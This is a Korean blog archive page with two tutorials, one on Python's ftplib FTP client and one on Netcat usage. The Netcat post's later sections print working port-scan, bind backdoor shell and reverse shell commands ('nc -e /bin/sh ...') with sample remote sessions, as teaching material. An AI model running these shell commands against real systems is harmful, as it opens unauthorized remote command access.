'2011/12'에 해당되는 글 2건

  1. 2011.12.08 ftplib(FTP protocol client) 모듈
  2. 2011.12.06 넷캣(Netcat) 간단한 사용방법 2
2011. 12. 8. 10:29

Ÿ FTP(File Transfer Protocol) 프로토콜 클라이언트는 새로 구현할 필요가 없다.

ftplib 모듈이 FTP클래스를 지원하며 이것은 클라이언트 측의 FTP 프로토콜을 구현한다.

이 클래스를 다른 FTP 사이트의 미러링과 같은 자동화된 FTP 작업을 수행하기 위해 사용할 수 있다.

 

FTP는 기본 포트 21/20을 사용하는 이중 채널 프로토콜이다. 서버의 21번 포트는 제어 연결로서

제어 정보를 전달하는 데 사용되고, 20번 포트는 데이터를 교환하는 데 사용된다.

ftplib는 기본적으로 패시브(Passive)모드로 동작한다. 즉, 서버가 데이터 포트를 먼저 열고,

데이터 포트 정보를 제어 연결 포트를 통해 전달하면 클라이언트가 포트로 접속하는 방식이다.

(※ FTP 규약에 관한 자세한 정보는 인터넷 RFC 959를 참조.)

 

[ 객체 생성 ]

class ftplib.FTP(host[, user[, passwd[, acct]]]))

 

ftp 객체를 생성한다.

host가 주어지면 서버로 연결(connect(host))하고,

부가적으로 user, passwd 정보가 주어지면 로그인(login(user, passwd, acct))이 된다.

>>> from ftplib import FTP

>>> ftp = FTP("ftp1.at.proftpd.org") # connect to host, default port

 

[ 접속 관련 메서드 ]

FTP.connect(host[, port])

 

주어진 (host, port)로 연결.

>>> from ftplib import FTP

>>> ftp = FTP()

>>> ftp.connect("ftp1.at.proftpd.org")

'220 FTP Server ready.'

 

FTP.login([user[, passwd[, acct]]])

 

로그인함 (아무 인수도 주어지지 않으면 'anonymous'로 로그인)

>>> ftp.login(user, password)

 

FTP.close()

 

연결 종료

>>> ftp.close()

 

[ 파일 목록을 얻는 메서드 ]

FTP.dir([argument[, ...]])

 

"LIST"명령으로 파일 목록을 얻는다.

선택적인 인수 argument는 파일 목록을 표시할 디렉터리를 지정한다. (기본값 - 현재 디렉터리)

>>> from ftplib import FTP

>>> with FTP("ftp1.at.proftpd.org") as ftp:

... ftp.login()

... ftp.dir()

...

'230 Anonymous login ok, restrictions apply.'

dr-xr-xr-x 9 ftp ftp 154 May 6 10:43 .

dr-xr-xr-x 9 ftp ftp 154 May 6 10:43 ..

dr-xr-xr-x 5 ftp ftp 4096 May 6 10:43 CentOS

dr-xr-xr-x 3 ftp ftp 18 Jul 10 2008 Fedora

...

 

FTP.nlst([argument[, ...]])

 

"NLST" 명령으로 파일 목록을 얻는다.

선택적인 인수 argument는 파일 목록을 표시할 디렉터리를 지정한다. (기본값 - 현재 디렉터리)

>>> ftp.nlst()

['.', '..', 'centos', 'fedora', 'CentOS', 'Fedora', 'ProFTPD', 'grml', 'linux-kernel',

'OpenOffice.org', 'Knoppix', 'LibreOffice']

 

[ 파일 다운로드/저장 메서드 ]

FTP.retrlines(command[, callback])

 

ASCII 모드로 파일을 받는다.

텍스트 파일을 다운로드 받을 때 command는 "RETR 파일 이름"이 된다.

파일 목록을 받을 때 사용한다면 command는 "LIST"가 된다.

callback은 서버로부터 전송되는 블록을 저장할 함수로 기본값은 sys.stdout.write이다.

>>> ftp.retrlines('LIST') # 화면에 파일 목록 표시

dr-xr-xr-x 10 ftp ftp 4096 Aug 12 13:34 .

dr-xr-xr-x 10 ftp ftp 4096 Aug 12 13:34 ..

dr-xr-xr-x 5 ftp ftp 4096 Sep 14 15:23 CentOS

dr-xr-xr-x 3 ftp ftp 18 Jul 10 2008 Fedora

...

'226 Transfer complete'

 

>>> ftp.cwd('./ProFTPD') # 디렉터리 변경

>>> ftp.retrlines('RETR README.MIRRORS') # 화면에 파일 내용 표시

This is the main distribution site for ProFTPD. Rather than downloading

...

'226 Transfer complete'

 

# 로컬에 저장

>>> ftp.retrlines('RETR README.MIRRORS', open('c:\\readme.txt', 'w').write)

'226 Transfer complete'

 

FTP.retrbinary(command, callback[, maxblocksize[, rest]])

 

이진 파일을 받을 때 사용한다.

command는 "RETR 파일이름"이 된다.

callback은 서버로부터 전송되는 블록을 저장할 함수이다.

>>> ftp.retrbinary('RETR pybbs.tar', open('pybbs.tar', 'wb').write)

 

FTP.storlines(command, file)

 

ASCII 모드로 파일을 서버에 저장한다.

command는 "STOR 파일이름"이며

file은 서버로 데이터를 보내는 데 사용될 readline() 메서드를 제공하는 파일 객체이다.

>>> ftp.storlines('STOR xpath.py', open('xpath.py', 'r'))

 

FTP.storbinary(command, file[, blocksize])

 

이진 모드로 파일을 서버에 저장한다.

command는 "STOR 파일이름"이며

file은 서버로 데이터를 보내는 데 사용될 read() 메서드를 제공하는 파일 객체이다.

>>> ftp.storbinary('STOR test.tgz', open('test.tgz', 'rb'))

 

FTP.abort()

 

파일 전송을 중지한다.

 

 

[파일 관련 메서드]

 

[ 메서드 ]

[ 설명]

size(filename)

서버에 filename의 크기를 요구.(성공-정수 크기, 실패-None)

rename(fromname, toname)

서버에 있는 파일 이름 변경

delete(filename)

서버의 파일을 삭제

 

[디렉터리 관련 메서드]

 

[ 메서드 ]

[ 설명]

pwd()

서버의 현재 디렉터리를 얻는다

cwd(pathname)

서버의 현재 디렉터리를 변경

mkd(pathname)

서버에 디렉터리 생성

rmd(dirname)

서버에 디렉터리 제거

 

[기타 메서드]

 

[ 메서드 ]

[ 설명]

set_pasv(boolean)

만일 boolean이 참이면 passive 모드가 설정.

sendcmd(command)

임의의 단순한 명령을 서버로 전송하고 응답 문자열을 받는다.

voidcmd(command)

임의의 단순한 명령을 서버로 전송하고 응답 코드를 처리한다.

응답 코드가 200-299 영역인 경우에는 리턴 값이 없으며

그렇지 않으면 예외가 발생한다.

 

'Programming > Python' 카테고리의 다른 글

파이썬 – 날짜시간(datetime) 모듈  (0) 2011.11.26
파이썬 – 시간(time) 모듈  (1) 2011.11.26
파이썬 – os 모듈  (2) 2011.11.22
파이썬 – sys 모듈  (0) 2011.11.21
파이썬 – os.glob 모듈  (0) 2011.11.20
Posted by devanix
2011. 12. 6. 00:46

넷캣(Netcat)은 TCP나 UDP 프로토콜을 사용하는 네트워크 연결에서 데이터를

읽고 쓰는 간단한 유틸리티 프로그램이다. 일반적으로는 UNIX의 cat과 비슷한

사용법을 가지고 있지만 cat이 파일에 쓰거나 읽듯이 nc는 network connection

에 읽거나 쓴다. 이것은 스크립트와 병용하여 network에 대한 debugging,

testing tool로써 매우 편리하지만 반면 해킹에도 이용범위가 넓다.

 

 

connect to somewhere:

listen for inbound:

nc [-options] hostname port[s] [ports] ...

nc -l -p port [-options] [hostname] [port]

[ 옵션 ]

[ 설명 ]

-c shell commands

as `-e'; use /bin/sh to exec [dangerous!!]

-e

program to exec after connect [dangerous!!]

-b

allow broadcasts

-g

source-routing hop point[s], up to 8

-G

source-routing pointer: 4, 8, 12, ...

-h

this cruft

-i secs

delay interval for lines sent, ports scanned

-k

set keepalive option on socket

-l

listen mode, for inbound connects

-n

numeric-only IP addresses, no DNS

-o file

hex dump of traffic

-p port

local port number

-r

randomize local and remote ports

-q secs

quit after EOF on stdin and delay of secs

-s addr

local source address

-T tos

set Type Of Service

-t

answer TELNET negotiation

-u

UDP mode

-v

verbose [use twice to be more verbose]

-w secs

timeout for connects and final net reads

-z

zero-I/O mode [used for scanning]

 

 

연결 수립

Ÿ 넷캣은 IP주소의 임의의 포트로 연결할 수 있다.

 

# nc 10.0.2.100 22

SSH-2.0-OpenSSH_5.3p1 Debian-3ubuntu6

 

 

서비스 배너 수집

Ÿ 다양한 서비스를 대상으로 그대로 사용할 수 있다.

하지만 HTTP 같은 서비스의 배너를 알아내려면 우선 HTTP명령을 전송해야 한다.

 

# echo -e "HEAD / HTTP/1.0\n\n" | nc httpd.apache.org 80

HTTP/1.1 200 OK

Date: Mon, 05 Dec 2011 14:54:15 GMT

Server: Apache/2.3.15-dev (Unix) mod_ssl/2.3.15-dev OpenSSL/1.0.0c

Last-Modified: Mon, 05 Dec 2011 14:10:25 GMT

ETag: "11163fe-8c8f-4b358e1491640"

Accept-Ranges: bytes

Content-Length: 35983

Vary: Accept-Encoding

Cache-Control: max-age=3600

Expires: Mon, 05 Dec 2011 15:54:15 GMT

Connection: close

Content-Type: text/html; charset=utf-8

위 결과를 보면 웹 서버 소프트웨어와 운영체제를 알 수 있다.

 

간단한 서버

Ÿ 포트 1234에서 리슨(listen)하는 간단한 채팅 서버를 만들어 보자.

 

서버

클라이언트

# nc -l -p 1234

hi

hello netcat!!!

# telnet localhost 1234

Trying ::1...

Trying 127.0.0.1...

Connected to localhost.

Escape character is '^]'.

hi

hello netcat!!!

클라이언트에서 입력한 모든 문자가 서버에 출력된다.

간단한 채팅 서버를 만든 셈이다.

 

파일 전송

Ÿ 클라이언트에서 넷캣 리스너로 파일을 전송할 수도 있고 역방향으로 파일을 전송할 수도 있다.

 

서버

클라이언트

# nc -l -p 1234 > pstest.out

# ps auxf | nc -w3 10.0.2.15 1234

or

# nc -w3 10.0.2.15 < filename

클라이언트에서 명령의 결과를 바로 서버 측으로 전송하거나 파일을 전송할 수 있다.

 

포트 스캐닝

@ 상세 출력(-v),

@ DNS 이름 주소 변환 실시 안 함(-n),

@ 데이터 전송 안 함(-z),

@ 최대 1초의 연결 리슨 시간(-w 1)을 옵션으로

TCP 프로토콜을 사용해서 1-1023 사이의 포트를 스캔

 

# nc -n -v -z -w 1 10.0.2.100 1-1023

(UNKNOWN) [10.0.2.100] 80 (www) open

(UNKNOWN) [10.0.2.100] 22 (ssh) open

80, 22번 포트가 열려있음을 확인할 수 있다.

넷캣이 포트 스캐닝을 지원하긴 하지만 포트 스캐닝을 실시할 때는 엔맵(nmap)을 권장.

 

백도어 쉘

@ 특정 포트(-p)에서 리슨하면서(-l)

@ 연결 수립 시 특정 쉘을 실행하도록(-e) 옵션을 지정하여

백도어 쉘을 실행 할 수 있다.

 

서버

클라이언트

# nc -e /bin/sh -l -p 1234

# telnet 10.0.2.15 1234

Trying ::1...

Trying 10.0.2.15...

Connected to localhost.

Escape character is '^]'.

uname -a;

Linux bt 2.6.38 #1 SMP...<etc>

ls -al;

...<etc>

연결이 수립되면 서버에 임의의 리눅스 명령어를 입력할 수 있다.

명령 뒤에 ";"(세미콜론)문자를 덧붙여야 한다. (사용하는 클라이언트 마다 다를 수 있음)

위와 같이 서버에서 실행된 명령의 결과가 클라이언트 화면에 출력된다.

넷캣 리스너를 루트 권한으로 실행하면 서버에서 임의의 모든 작업을 수행할 수 있다.

누구나 해당 포트로 연결해서 넷캣 백도어를 이용할 수 있다는 점과, 넷캣 연결은 기본적으로

암호화되지 않는다는 사실에 주의해야 한다.

 

리버스 쉘

Ÿ 이 방법은 방금 위에서 살펴본 백도어 쉘과는 반대 케이스다.

이전 예에서는 서버가 쉘을 실행했지만 리버스 쉘에서는 원격 호스트가 서버로 연결하면서

쉘을 실행한다.

 

서버

클라이언트

# nc -n -v -l -p 1234

listening on [any] 1234 ...

connect to [10.0.2.100]

from (UNKNOWN) [10.0.2.100] 36725

ip addr show

1: lo: <LOOPBACK,UP,LOWER_UP>

...<etc>...

2: eth1:

<BROADCAST,...>...<etc>...

nc -e /bin/sh 10.0.2.100 1234

서버에서 "connect to [10.0.2.100] from (UNKNOWN)...<etc>"와 같은 메시지를 확인할 수 있다면

리버스 쉘이 성공적으로 연결된 것이다.

서버에서 임의의 명령을 입력하면 원격 머신에서 실행된다.

이처럼 원격 머신의 운영체제에서 지원하는 임의의 명령을 실행할 수 있다.

Posted by devanix